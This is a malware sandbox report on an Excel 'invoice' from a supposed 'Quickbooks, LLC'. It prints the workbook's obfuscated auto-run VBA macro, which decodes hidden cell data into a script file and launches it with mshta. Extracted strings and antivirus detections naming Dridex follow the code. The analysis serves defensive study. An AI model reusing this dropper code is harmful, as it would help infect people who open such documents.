popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klDialogRun In ActiveWorkbook.Sheets(CStr(Cells(79, 165))).Range(CStr(Cells(41, 90)))
        klContext = Environ(Cells(192, 218)) & Cells(188, 160)
        If klDialogRun.Value <> 0 Then
            klTotalsCalculationVar = klTotalsCalculationVar & Chr(klDialogRun.Value - 1300)
        End If
    Next klDialogRun
    With CreateObject(Cells(219, 228))
        .CreateTextFile(klContext).Write (klTotalsCalculationVar)
    End With
With CreateObject(Cells(153, 61))
.Exec Cells(51, 159) & klContext
End With
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klDialogRun In ActiveWorkbook.Sheets(CStr(Cells(79, 165))).Range(CStr(Cells(41, 90)))
        klContext = Environ(Cells(192, 218)) & Cells(188, 160)
        If klDialogRun.Value <> 0 Then
            klTotalsCalculationVar = klTotalsCalculationVar & Chr(klDialogRun.Value - 1300)
        End If
    Next klDialogRun
    With CreateObject(Cells(219, 228))
        .CreateTextFile(klContext).Write (klTotalsCalculationVar)
    End With
With CreateObject(Cells(153, 61))
.Exec Cells(51, 159) & klContext
End With
End Sub

Original

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
user B
ThisWorkbook
"$"#,##0_);\("$"#,##0\)
"$"#,##0_);[Red]\("$"#,##0\)
"$"#,##0.00_);\("$"#,##0.00\)
"$"#,##0.00_);[Red]\("$"#,##0.00\)
_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)
_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)
_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)
_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)
_-"$"* #,##0.00_-;\-"$"* #,##0.00_-;_-"$"* "-"??_-;_-@_-
dd\-mmm\-yy_)
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
-@_-_) }
##0.00_-
-@_-_)
##0.00_-
-@_-_)
##0.00_-
-@_-_)
##0.00_-
-@_-_) }
##0.00_-
-@_-_)
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
##0.00_-
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Linked Cell
Neutral
Normal 2
Normal 3
Normal 4
Normal_DG-advise
Normal_JPa Remittance
Output
Warning Text
Sheet1
SSLink_0
SSLink_0
SSLink_1
SSLink_1
SSLink_2
SSLink_2
SSLink_3
SSLink_3
SSLink_4
SSLink_4
SSLink_5
SSLink_5
SSLink_6
SSLink_6
SSLink_7
SSLink_7
SSLink_8
SSLink_8
e%""""""""""
JDDDDDDDDDDDi)
@DDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
`"""""""""""""
`""""""""""""
DDDDDDDDDDDDD
6#Sq?U k
LDDDDDDDDDDDDD
zZDDDDDDDDDDDDD
w""""""""""""
LDDDDDDDDDDDD
LDDDDDDDDDDDD
E""""""""""""
GDDDDDDDDDDDD
LDDDDDDDDDDDD
LDDDDDDDDDDDD
LDDDDDDDDDDDD
LDDDDDDDDDDDD62,5
'"""""""""""
$"""""r
tDDDDDD
n)_A""""""
tDDDDDD
KGDDDDDDqb?o
ToHi?,<
n,xc1P
);Kh+m
y'UmI%
!""JiE]
jm~\JyY
~o9u&n
czd9w
<m*`eP
E~&"=_
!pQoL]
k37l}5
V]c<f%e
q(>CGes
]'a.L-
Wdgz:{O]
uHn!675
~4fRD[
lwJQ*)S
w*&?>3
kZO?'p
VL%VRf
<u$U k
wjU@O}
jp4\[I
MaL}b6
:8v*3?
1ZLa1yv
k?gu$2
O)+On~
e@Km`c
jNm""r
1Ta?9'
2X_Mlw?
"""WY
^U+heE
&""""""""""
DDDDDDDDDDDDD
DDDDDDDDDDDDD
ODDDDDDDDDDD
EDDDDDDDDDDDDD
LDDDDDDDDDDDDD
DDDDDDDDDDDDDD)
LDDDDDDDDDDDDD
""""""""""""
&"""""""""""
;uGqnA
L""""""""""""J}
@DDDDDDDDDDDD
gDDDDDDDDDDDDD)BZ7gh
xPR`x|G
HO,yG>
}C~9?O>
slXI=?
LXk:y
ZiGq:wogR
)S]^I
{v#?ot
oR<xp
.{%6K;
|`.m)]
:y{Gou
8W~@e|
#vm=>F
Yl}~6bfkl
F3ffgcvv6
Z-f#b:moF
Oeyl?4
sz4b&b
E@6Ki/
FJGz=o
K~y7k6
c&Fbrj
hLMOD=
j1=q F
fg&Zu|dk4f
''ZeXOe
r|4fgbzj
IDAT`R=
,DME,H
ZACch
8#cx&d8'
&hz-d%
&Hj=dm
>Aq)=
&*):_'9
;Jp Gs
N0H`iMM
d))h2+
g0OkUW
N%uLIM
*3l 8Hjn=
XH,y5R
!:;;?>
JCrp9x
F$pb#g8
)ZPIM(
gMI!Me
09ND4~
UOq]63
pMcQM#
`N]3&&
w0oi3\x0S1J
)Q2%J2
SN|$kjE>
3^~m;+W-
.s^Y!.
,Rvf[[;
D&Sbz"1[
W_Q_~)0
rv9l*e
7BSs'nSX
z/b2|m
>_=uu
\!GgG+
.a~Ghn
ikVz>@![
<-u^4}&
0\6v>C
jz)RM
uLMNPv
ohP6v26L:=
_[_PP2
XJds1b
-]z=KV
k{p{2:
P-CSi.
!6>J[{
D$ZO!_
IO29>L{{
ux|&5!
122JG{
7_%5=F
CCC#v.
L"9IWG+
_CM]@\Y
+455)`+
v0|mDU=
"`zTzZ
G1OC}#
"K(S6P
:.jjj)
d~q{EI
_$JvjJ
d0ZK6S$6
<F/L26U`
L~jTA"G
5pQ0j'
]kooYC
zeuZ]K
OyOeR?
VU "t#%h
u(O*+H
4}5j.*
`Hn]wir
f^1Q97
;6"I&R*
5$}PsS
8.4xo/
eijYhn.
u]eH_3
[n9f{z
JS(Pp
"Ms^|C
=d&1m:
<^jp"*_t>
t=ZdYL
wzRj|W
}yX4k^
e:?Zo9
L{.g}^Y
CU=?Ee
v^&zt7
oj;oz
>{Q@:^
l3<sl+
Y3tZG5
9gU/G
Hs<WE[
F=UUoXH
jJS]l+
g&=uL*
P\T(v^
#}G}t
{-S_gu
1D"h@/L
:$Dv1c<
}[n8pNW Kl
yBl(Tw
H;6q-w
a@Nf8^y
Cm(Dw1b>y
g<#Uz5
vlY"M>
LBHtd}
ey!Z06!c
!aLZ\9I
7}]lOl
|;>>Y3
W;!}sC*
2uk*r
2ukjr
<cBfAW-
o(((ED
|e_~G#
jCn_4t
T`x>f^U!
2v9A:P
BHN06if
BHN06ig
"PV>>-
q\[qn
WK/"7M
~C||J>zld7
H_eF3F
d-+oU-C
wESV!>-
<B^!K[i
{m@~v^
!$7&9Fe|
cPK@cdK
4H1K:e
rZ.~Q*
N=i 7!
>[=-uH
^$Ns]9
*m4@`'
NS'ao[B
u{&2n
GYNZ2@
C0]JePTP
A162:P3215
Sheet1
ALLUSERSPROFILE
//klCylinderCol.sct
Wscript.Shell
mshta
Scripting.FilesystemObject
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
W,&#hF
b?Jf0E
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
fouuX}
Sheet1g
Attribut
e VB_Nam
e = "Thi
sWorkboo
0{00020P819-
$0046}
|Global
dCreat
ateDeriv
Bustomi
_Open(
Each kl
DialogRu
n In Act
.Sheet
s(CStr(C
ells(79,
165))). Range
41p, 90
lContext
{Environ
$192, 21@8)) &
P.Value
<> 0 TheFn
!End I:f
eObjHect
ecDW5@g159s
Attribut
e VB_Nam
e = "She@et1"
t0{000
20820-
|Global!
Pre decla
lateDeri
Bustom
Project1
stdole
VBAProject
Office
ThisWorkbook|
_Evaluate
Sheet1
Workbookk
WorkBook_Open
klDialogRun
ActiveWorkbook
Sheets
klContext\
Environ
klTotalsCalculationVar
CreateObject
CreateTextFile
Execzy
Worksheet
VBAProje
stdole>
*\G{00
020430-
6}#2.0#0
#C:\Wind
ows\syst em32\
tlb#OLE
Automati
EOffDic
2DF8D04C
-5BFA-10
1B-BDE5
gram Fil
es\Commo
Micros
oft Shar
ed\OFFIC
E12\MSO.0DLL#
Li`brary
ThisWor
kbookG
B|Shee
S@#e@X
ThisWorkbook
Sheet1
ID="{27D64E4C-E597-448B-95F3-A19C10B90941}"
Document=ThisWorkbook/&H00000000
Document=Sheet1/&H00000000
Name="VBAProject"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="CFCD05581BE8EEECEEECEEECEEEC"
DPB="9E9C54A9ECB7BAB8BAB8BA"
GC="6D6FA7F6B9C4BAC4BA3B"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisWorkbook=0, 0, 0, 0, C
Sheet1=0, 0, 0, 0, C
Invoice_480219
Quickbooks, LLC
Microsoft Excel
Quickbooks, LLC
Sheet1
Sheet1!Print_Area
Worksheets
Named Ranges
Microsoft Office Excel 2003 Worksheet
Excel.Sheet.8
Root Entry
Workbook
_VBA_PROJECT_CUR
Arial1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Courier1
Courier1
Arial1
Arial1.
Times New Roman1
Calibri1
Arial1*
Calibri Light1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri1
Calibri
20% - Accent1
20% - Accent2
20% - Accent3
20% - Accent4
20% - Accent5
20% - Accent6
40% - Accent1
40% - Accent2
40% - Accent3
40% - Accent4
40% - Accent5
40% - Accent6
60% - Accent1
60% - Accent2
60% - Accent3
60% - Accent4
60% - Accent5
60% - Accent6
Accent1
Accent2
Accent3
Accent4
Accent5
Accent6
Calculation
Check Cell
Comma [0]
Currency
Currency [0]
Explanatory Text
Heading 1
Heading 2
Heading 3
Heading 4
Hyperlink
Linked Cell
Neutral
Normal
Normal 4
Output
Percent
Warning Text
TableStyleMedium2PivotStyleLight16
HP LaserJet P3010 Series UPD P
Letter
RRRRRRSRMM
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
RRRRRRST
Picture 2
ThisWorkbook
Sheet1
_VBA_PROJECT
N0{00020819-0000-0000-C000-000000000046}
N0{00020820-0000-0000-C000-000000000046}
*\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications
*\G{00020813-0000-0000-C000-000000000046}#1.6#0#C:\Program Files\Microsoft Office\Office12\EXCEL.EXE#Microsoft Excel 12.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.4#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0 Object Library
ThisWorkbook
0162ee81dc
ThisWorkbook
Sheet1
0262ee81dc
Sheet1
PROJECTwm
PROJECT
SummaryInformation
DocumentSummaryInformation
kThisWorkbook
1Sheet1
CompObj
Antivirus Signature
Bkav Clean
Lionic Clean
Elastic malicious (high confidence)
MicroWorld-eScan VBA.Heur2.Dridex.4.CD579A05.Gen
CMC Clean
CAT-QuickHeal Clean
ALYac VBA.Heur2.Dridex.4.CD579A05.Gen
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Arcabit Clean
BitDefenderTheta Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
Baidu Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky UDS:Exploit.MSOffice.CVE-2017-8570.gen
BitDefender VBA.Heur2.Dridex.4.CD579A05.Gen
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
Tencent Clean
Ad-Aware VBA.Heur2.Dridex.4.CD579A05.Gen
TACHYON Suspicious/X97M.Obfus.Gen.8
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro HEUR_VBA.O2
McAfee-GW-Edition BehavesLike.OLE2.Downloader.fg
FireEye VBA.Heur2.Dridex.4.CD579A05.Gen
Emsisoft VBA.Heur2.Dridex.4.CD579A05.Gen (B)
SentinelOne Clean
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Trojan:Script/Wacatac.B!ml
ViRobot Clean
ZoneAlarm Clean
GData VBA.Heur2.Dridex.4.CD579A05.Gen
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
MAX malware (ai score=83)
VBA32 Clean
Zoner Probably Heur.W97ShellB
Rising Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
Panda Clean
Qihoo-360 virus.office.obfuscated.1
No IRMA results available.